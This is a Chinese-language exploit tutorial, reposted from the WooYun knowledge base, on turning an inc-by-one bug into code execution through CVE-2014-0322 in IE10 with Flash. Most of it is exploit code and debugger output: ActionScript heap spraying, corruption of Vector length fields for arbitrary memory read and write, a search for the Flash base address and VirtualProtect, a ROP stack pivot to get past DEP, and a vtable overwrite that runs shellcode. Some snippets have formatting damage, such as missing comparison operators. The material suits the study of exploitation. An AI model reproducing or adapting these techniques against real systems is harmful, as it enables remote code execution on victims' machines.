作者 Netfairy 2016-07-05 15:32:00
被查看了2606次 , 本文转载自:乌云知识库

inc-by-one之高级漏洞利用技术

Author:Netfairy

0x00 前言

什么是inc-by-one?比如有这样的一条指令:inc dword ptr[eax+8],这条指令执行的效果是使eax+8地址处的值加1,类似于c语言*(eax+8) = *(eax+8) +1,如果我们可以控制eax的值,那么这就是一个inc-by-one漏洞。

0x01 利用方法

1.布置堆内存

这里我以CVE-2014-0322为例子介绍,网上已有相关的漏洞原理介绍,本文介绍这种类型的漏洞利用方法,这是一个存在于ie10的uaf漏洞,尽管这个漏洞本身存在于IE 里面,但是为了实现成功利用,借用了flash作为辅助,来突破各种防护。打开poc,结果如下

pic1

要利用这个漏洞,首先我们利用ActionScript在堆上分配大量的Vector.uint,长度是0x3fe,因为每个Vector.uint有8字节BlockHeader,其中前4个字节是size字段。0x3fe*4+8=0x1000,所以每个Vector.uint之间紧邻,不会留下空隙。

#!cpp
this.s = newVector.Object(0x10000); 
while ( len  0x10000 )
{
    this.s[len]= new Vector.uint(0x1000 / 4 - 2); //0x3fe
    for(i=0; i  this.s[len].length; i++)
    {
        this.s[len][i]= 0x1a1a1a1a;
    }
    ++len;
}

HeapSpray之后内存分布图

pic2

0x1a1b2000是其中一个Vector.uint,我把它命名为v1,0x1a1b3000为v2,以此类推。0x3fe是Vector.uint的大小。。

2.触发inc-by-one漏洞,修改size,读写整个地址空间

通过ie的触发uaf漏洞,重新分配内存占据已经被释放的对象,我们可以控制inc-by-one的目标地址,本文我们对0x1a1b2000处的v1的size字段加1,结果如下

pic3

V1的size被修改为0x3ff后,那么通过v1可以往后多访问四个字节(uint),刚好能访问到v2的size字段,也就是说v2的size字段可以被v1访问并修改,那么,如果我们把v2的size字段修改为一个很大的值,通过v2,我们就能读写整个进程地址空间。

#!cpp
while (v1 < 0x10000)
{
    try
    {
        if (this.s[v1].length == 0x3ff)  //v1本来0x3fe,漏洞触发后v1的size被修改为0x3ff
        {           
                this.s[v1][0x3fe] = 0x3fffffff;  //修改v2的size为0x3fffffff
                break;
        }
    }
    catch(e:Error)
    {
    };
    v1 = (v1 + 1);
};

3.喷射sound对象,便于后面的利用

因为flash是高级语言,我们无法直接操作内存,不能直接控制eip指向,但是高级语言的对象有一个虚表的东西,里面保存着虚函数的地址。如果我们能修改虚表指针指向另外一块可控内存,在这块内存写入我们shellcode的地址,一旦我们调用虚函数,实际上就会调用我们的shellcode。

为此我们用下面的代码布局sound对象

#!cpp
this.sound = new Sound();
this.spraysound = newVector.Object(0x100);
len = 0; 
while (len  0x100)
{
    this.spraysound[len]= new Vector.Object(0x1234);
    for(i=0; i  this.spraysound[len].length; i++)
    {
        this.spraysound[len][i]= this.sound;
    }
    ++len;
}

喷射结果如下

#!bash
22490024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.
22f13024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.
22f18024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.
22f1d024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.
22f22024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.
22f27024 00001234 22f03021 22f0302122f03021 4...!0.!0.!0.

实际上,22f03021是sound对象地址加1,通过修改sound对象的虚表指针,一旦我们调用test函数,实际上执行的是shellcode。

pic4

4.信息搜集

前面我们通过v2得到任意内存读写,在覆盖虚表指针,调用虚函数执行shellcode之前,还需要解决DEP保护。现在ie都启用了DEP保护

pic5

要关闭DEP,可以用VirtualProtect。那么,首先需要找到这个函数的地址。VirtualProtect由kernel32.dll导出,正好,flash模块的导入表有kernel32.dll,搜索IAT即可定位VirtualProtect。那么,首先要得到flash模块导入表的地址,那么我们得先知道flash模块的基址。这里我们我们通过flash的一个虚表指针往回暴力搜索pe头定位flash基址。而通过v2我们可以定位到一个虚表指针,总的来说,这个过程如下

pic6

Stack_pivot(xchg eax,esp;retn)后面我们会看到它的作用。首先搜索v2

#!cpp
v2 = 0;
for (v2=0; v2 < this.s.length; v2++)
{
    if (this.s[v2].length == 0x3FFFFFFF)  //v2的size为0x3ffffff
    {               
        break;
    }
}

然后搜索一个flash虚表指针

#!cpp
j=0;
while(i<this.s[v2].length)
{
    if (this.s[v2][j] == 0x00010c00)
    {           
        if(this.s[v2][j+0x9] == 0x00001234) 
        {
            soundindex = j;
            vtable = this.s[v2][j+0x8];
            break;
        }
    }
    j++;
}

这里有必要解释一下,前面我们喷射了sound对象,在22490024-0x24内存如下

#!bash
22490000 00010c00 00004fe0 0fdf30000fde7068
22490010 22f03000 22490018 0000001000000000
22490020 61c0d2d4 00001234 22f0302122f03021
22490030 22f03021 22f03021 22f0302122f03021
22490040 22f03021 22f03021 22f0302122f03021
22490050 22f03021 22f03021 22f0302122f03021

Sound对象(22f03021)前面是0x00001234,再前面的0x61c0d2d4是flash一个虚表指针,虚表指针前面有一个标志,就是0x00010c00 通过这个flash虚表指针,暴力搜索flash基址

#!cpp
temp=vtable & 0xffff0000;
while(1)
{
    if (this.s[v2][(temp-0x1a1b3000)/4-2] == 0x00905A4D)  //-2因为8个字节的Blockheader 
    {
        baseflashaddr = temp;
        break;
    }
    temp=temp-0x1000;
}

得到flash基址后,搜索VirtualProtect和stack_privot地址

#!cpp
//获取导入表 
peindex = this.s[v2][(baseflashaddr+0x3C-0x1a1b3000)/4-2];  
importsindex = this.s[v2][(baseflashaddr+peindex+0x80-0x1a1b3000)/4-2];  

//得到 VirtualProtect地址
vp_addr = getVpAddr();  

//搜索stack_pivot地址
i=0;
while(1)
{
    stackpivot = baseflashaddr+0x8a000+i;  //从偏移0x8a000开始搜索
    try
    {
        if ( (readInt(stackpivot)&0x0000ffff) == 0xC394 )  
        {               
            break;
        }
    }
    catch(e:Error)
    {
    };
    i++;
}

5.布置shellcode

通过v2,把以上获取到的信息写入某个地址。首先写入stack_privot,执行后esp指向可控内存。然后写入VirtualProtect地址和它的参数,执行后关闭DEP。最后面写入shellcode,DEP关闭后转入shellcode执行。

#!cpp
//第一阶段shellcode:ROP
writeInt(0x1a1b3078,stackpivot);  
this.s[v2][0] =vp_addr   //VirtualProtect地址
this.s[v2][1] =0x1a1b4008  //设置为shellcodee的地址就可以了
this.s[v2][2] =0x1a1b4008  //参数一:shellcode所在内存空间起始地址
this.s[v2][3] =0x4000  //参数二:shellcode大小
this.s[v2][4] =0x40  //参数三:0x40
this.s[v2][5] =0x1a1b2008;  //参数四:某个可写地址

//第二阶段shellcode:任意代码
writeInt(0x1a1b4008,0x0089E8FC);
writeInt(0x1a1b400c,0x89600000);
writeInt(0x1a1b4010,0x64D231E5);
……

6.修改sound对象虚表指针

#!cpp
var dec:uint = 0;
var soundobjref:uint = 0;
while (1)
{
    soundobjref = this.s[v2][soundindex+0x0A];  //VA:sound对象的地址+1
    if(writeInt(soundobjref-1,0x1a1b3008) == 1)  //修改虚表指针为0x1a1b3008                {
        break;
    }
    else
    {
        flash.external.ExternalInterface.call('alert',"Write vtable pointer failed and exploit falied..."); 
    }
    break;

}

前面我们把shellcode布置在0x1a1b3078,这里为什么把虚表指针修改为0x1a1b3008呢?大家看

pic7

实际上是call[eax+0x70],eax就是虚表指针。

7.调用虚函数,执行shellcode

#!cpp
this.sound.toString();

0x02 动态调试

为了模拟真实的攻击情景,搭建web服务器。用windbg附加ie,在Flash32_17_0_0_134!IAEModule_IAEKernel_UnloadModule+0xdfaa2(是具体情况而定)下断点

访问html文件

pic8

中断调试器,查看此时的v1,也就是0x1a1b2000

pic9

这是未触发漏洞前v1的size,为0x3fe。继续运行

ExternalInterface.call(exevl);

调用html文件里的exevl函数,此函数触发uaf漏洞

pic10

exevl函数执行完返回flash后,再看此时的v1,size字段成功被加1。

pic11

继续运行,通过v1修改v2的size字段

this.s[v1][0x3fe] = 0x3fffffff; //修改v2'size为0x3fffffff

pic12

中断调试器,此时的v2的size字段已经被修改为0x3fffffff,这意味着我们可以访问很大一块内存地址空间

pic13

继续运行

pic14

中断调试器,用

s -d 0x0 l?0x7fffffff 0x00001234

搜索喷射的sound对象,前面有一些并不是,后面会比较连续的出现sound对象引用

pic15

下面的道理一样,我就不逐一截图了。最后来到这里

flash.external.ExternalInterface.call('alert',startto run calc?);

pic16

点击确定之后会调用sound对象的虚函数

#!cpp
//调用虚函数,触发shellcode
this.sound.toString();

widbg中断

pic17

从图中可以看到,程序会跳转到0x6257adf8地址执行,这个地址是

#!bash
6257adf894xchg eax,esp
6257adf9c3ret

执行xchgeax,sp后,esp=0x1a1b30008。我们看下0x1a1b3008处

#!bash
0:016 dd 0x1a1b3008
1a1b3008 774e2c15 1a1b4008 1a1b400800004000
1a1b3018 00000040 1a1b2008 1a1a1a1a1a1a1a1a
1a1b3028 1a1a1a1a 1a1a1a1a 1a1a1a1a1a1a1a1a
……

然后retn相当于jmp 0x774e2c15,即调用VirtualProtect

#!cpp
kernel32!VirtualProtect:
774e2c158bff movedi,edi
774e2c1755push ebp
774e2c188becmov ebp,esp
774e2c1a5dpop ebp
774e2c1be9b8f4fbff  jmpkernel32!CreateProcessA+0x56 (774a20d8)
774e2c20 90nop
……

0x774e2c15后1a1b4008是VirtualProtect的返回地址,其实就是shellcode的地址

pic18

VirtualProtect完成设置shellcode所在内存为可执行,VirtualProtect返回之后调用shellcode完成漏洞利用

pic19

0x03 参考

本文转载自:乌云知识库